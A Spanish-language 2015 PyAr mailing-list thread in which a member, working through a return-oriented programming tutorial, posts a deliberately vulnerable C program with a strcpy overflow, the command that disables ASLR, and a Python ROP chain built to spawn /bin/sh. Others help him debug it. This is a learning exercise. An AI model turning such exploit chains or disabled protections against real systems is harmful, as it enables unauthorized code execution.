[pyar] ¿Hay alguna forma de forzar a python para que funcione en 32 bits?

Ezequiel Brizuela [aka EHB or qlixed] qlixed en gmail.com
Mie Ago 19 19:24:42 ART 2015


Si usan python 3 ojo con los Unicode! la segunda ejecucion parece ser un
tipico issue de unicode-en-donde-deberia-haber-un-ascii-char :D

~ QliXeD [ aka EHB ] ~


El 19 de agosto de 2015, 1:21 p. m., Alberto Perez<ksian1685 en gmail.com>
escribió:

> Me parece que el error esta en cómo confeccioné el exploit, porque tanto
> si lo ejecuto así:
> notebook en debian:~/Laboratorio/ROP$ ./test2 `./test2.py`
> hola
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�/bin�����
> Violación de segmento
> noteboook en debian:~/Laboratorio/ROP$
>
> como así:
> notebook en debian:~/Laboratorio/ROP$ sudo execstack -s ./test1 `./test1.py`
> execstack: cannot open
> "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAM":
> Nombre de fichero demasiado largo
> execstack: cannot open /bin*�@=�": No existe el fichero o el directorio
> execstack: cannot open M": No existe el fichero o el directorio
> execstack: cannot open sh#*�D=�": No existe el fichero o el directorio
> execstack: cannot open *�G�z
>                            =�": No existe el fichero o el directorio
> execstack: cannot open Q�G�@�*�G�z
>
> �####�####�####�####�####�####�####�####�####�####�####��": No existe el
> fichero o el directorio
> notebook en debian:~/Laboratorio/ROP$
> Me tira error.
>
>
> El 19 de agosto de 2015, 8:39, Alberto Perez <ksian1685 en gmail.com>
> escribió:
>
>> Falcon,
>>
>> 1-Me tira un mensaje de violación de segmento.
>>
>> 2-Lo complilé con -fno-stack-protector
>>
>> 3-casualmente también me dio 262 bytes.
>>
>> Sé que no es un tema específico de la lista, así que gracias por el
>> internes.
>>
>>
>> El 18 de agosto de 2015, 19:52, Francisco Falcon <fdfalcon en gmail.com>
>> escribió:
>>
>>> Hola,
>>>
>>> La versión de Python de 64 bits no debería influir en este caso, lo más
>>> probable es que el problema venga por otro lado.
>>>
>>> Algunas preguntas para tratar de aislar el problema:
>>>  * Qué significa exactamente que "el exploit no funciona"? El programa
>>> vulnerable crashea sin darte la shell? Lo debuggeaste con gdb para ver
>>> dónde crashea?
>>>  * Compilaste el programa vulnerable con -fno-stack-protector?
>>>  * Iba a preguntar si acomodaste las direcciones de los ROP gadgets para
>>> tu binario en particular, pero parece que sí lo hiciste.
>>>  * Te fijaste que, en tu binario en particular, el stack frame de la
>>> función saluda() también tenga 262 bytes de distancia entre el array
>>> nombre[] y la dirección de retorno guardada en el stack?
>>>
>>> Saludos
>>>
>>> 2015-08-17 22:45 GMT-03:00 Alberto Perez <ksian1685 en gmail.com>:
>>>
>>>> Gracias por contestar. De todos modos, el autor del blog donde estaban
>>>> als instrucciones me aclaró que posiblemente en 64 bits existan otros tipo
>>>> de problemas. Así que lo probaré más adelante en una maquina virtual
>>>>
>>>> El 17 de agosto de 2015, 15:19, Joaquin Duo <joaduo en gmail.com>
>>>> escribió:
>>>>
>>>>> En linux podés instalar un entorno de 32 bits (dentro de un OS de
>>>>> 64bits)
>>>>>
>>>>>
>>>>> http://askubuntu.com/questions/297151/how-to-run-32-bit-programs-on-a-64-bit-system
>>>>>
>>>>> En este caso creo que deberías poder instalar el paquete de python de
>>>>> 32 bits y correr ese python.
>>>>> Te respondo la generalidad porque no lo he hecho, pero obviamente se
>>>>> puede (porque cualquier programa de 32bits puede correr, por ejemplo el
>>>>> skype)
>>>>>
>>>>> Vas a tener que buscar en internet cómo instalar paquetes de 32bits,
>>>>> seguro que sale
>>>>>
>>>>> Saludos!
>>>>> Joaquín
>>>>>
>>>>>
>>>>> 2015-08-16 21:22 GMT-03:00 Alberto Perez <ksian1685 en gmail.com>:
>>>>>
>>>>>> No estoy seguro que tenga que ver con python, pero seguro ustedes sí.
>>>>>> Resulta que estaba siguiendo las instrucciones de un blogger: (
>>>>>> http://www.ellaberintodefalken.com/2013/08/ROP-Return-Oriented-Programming.html
>>>>>> )
>>>>>> 1-hice el código en c (que compilé agregando gcc -m32 porque lo estoy
>>>>>> ejecutando en una maquina de 32 bits):
>>>>>>
>>>>>> #include <stdio.h>
>>>>>> #include <string.h>
>>>>>>
>>>>>> void saluda (char * texto){
>>>>>>     char nombre[250];
>>>>>>     strcpy(nombre, texto);
>>>>>>     printf("hola %s\n", nombre);
>>>>>> }
>>>>>>
>>>>>> int main (int argc, char **argv){
>>>>>>     saluda(argv[1]);
>>>>>>     return 0;
>>>>>> }
>>>>>>
>>>>>> 2- modifiqué la configuracion de mi computadora:
>>>>>> echo "0" > /proc/sys/kernel/randomize_va_space
>>>>>>
>>>>>> 3-hice el exploit en python:
>>>>>>
>>>>>> from struct import pack
>>>>>>
>>>>>>
>>>>>> ex = 'A'*262
>>>>>> ex += pack('I',0x080e1db9) #pop %eax
>>>>>> ex += '/bin'
>>>>>> ex += pack('I',0x0806e39a) #pop %edx
>>>>>> ex += pack('I',0x080e99a0) #.data
>>>>>> ex += pack('I',0x08099fad) #mov %eax,(%edx)
>>>>>> ex += pack('I',0x080e1db9) #pop %eax
>>>>>> ex += '/sh#'
>>>>>> ex += pack('I',0x0806e39a) #pop %edx
>>>>>> ex += pack('I',0x080e99a4) #.data+4
>>>>>> ex += pack('I',0x08099fad) #mov %eax,(%edx)
>>>>>> ex += pack('I',0x0806e39a) #pop %edx
>>>>>> ex += pack('I',0x080e99a7) #.data+7
>>>>>> ex += pack('I',0x080b7c20) #xor %eax,%eax
>>>>>> ex += pack('I',0x08099fad) #mov %eax,(%edx)
>>>>>> ex += pack('I',0x0806e3c1) #pop %ecx; pop %ebx
>>>>>> ex += pack('I',0x080e99a7) #.data+7
>>>>>> ex += pack('I',0x080e99a0) #.data
>>>>>> ex += pack('I',0x0806e39a) #pop %edx
>>>>>> ex += pack('I',0x080e99a7) #.data+7
>>>>>> ex += pack('I',0x080b7c20) #xor %eax,%eax
>>>>>> for i in range(int("0xb",16)):
>>>>>>         ex += pack('I',0x0805c5fc) #inc %eax;pop %edi
>>>>>>         ex += '####'
>>>>>>
>>>>>> ex += pack('I',0x806ea30) #int 0x80
>>>>>>
>>>>>> print ex
>>>>>>
>>>>>> resulta que no funciona y se me ocurre que puede ser porque estoy
>>>>>> usando python de arquitectura de 64 bits. ¿Hay alguna forma de forzar a
>>>>>> python para que funcione en 32 bits?
>>>>>> gracias.
>>>>>>
>>>>>>
>>>>>>
>>>>>> _______________________________________________
>>>>>> pyar mailing list pyar en python.org.ar
>>>>>> http://listas.python.org.ar/listinfo/pyar
>>>>>>
>>>>>> PyAr - Python Argentina - Sitio web: http://www.python.org.ar/
>>>>>>
>>>>>> La lista de PyAr esta Hosteada en USLA - Usuarios de Software Libre
>>>>>> de Argentina - http://www.usla.org.ar
>>>>>>
>>>>>
>>>>>
>>>>> _______________________________________________
>>>>> pyar mailing list pyar en python.org.ar
>>>>> http://listas.python.org.ar/listinfo/pyar
>>>>>
>>>>> PyAr - Python Argentina - Sitio web: http://www.python.org.ar/
>>>>>
>>>>> La lista de PyAr esta Hosteada en USLA - Usuarios de Software Libre de
>>>>> Argentina - http://www.usla.org.ar
>>>>>
>>>>
>>>>
>>>> _______________________________________________
>>>> pyar mailing list pyar en python.org.ar
>>>> http://listas.python.org.ar/listinfo/pyar
>>>>
>>>> PyAr - Python Argentina - Sitio web: http://www.python.org.ar/
>>>>
>>>> La lista de PyAr esta Hosteada en USLA - Usuarios de Software Libre de
>>>> Argentina - http://www.usla.org.ar
>>>>
>>>
>>>
>>> _______________________________________________
>>> pyar mailing list pyar en python.org.ar
>>> http://listas.python.org.ar/listinfo/pyar
>>>
>>> PyAr - Python Argentina - Sitio web: http://www.python.org.ar/
>>>
>>> La lista de PyAr esta Hosteada en USLA - Usuarios de Software Libre de
>>> Argentina - http://www.usla.org.ar
>>>
>>
>>
>
> _______________________________________________
> pyar mailing list pyar en python.org.ar
> http://listas.python.org.ar/listinfo/pyar
>
> PyAr - Python Argentina - Sitio web: http://www.python.org.ar/
>
> La lista de PyAr esta Hosteada en USLA - Usuarios de Software Libre de
> Argentina - http://www.usla.org.ar
>
------------ próxima parte ------------
Se ha borrado un adjunto en formato HTML...
URL: <http://listas.python.org.ar/pipermail/pyar/attachments/20150819/d0327e2b/attachment-0001.html>


More information about the pyar mailing list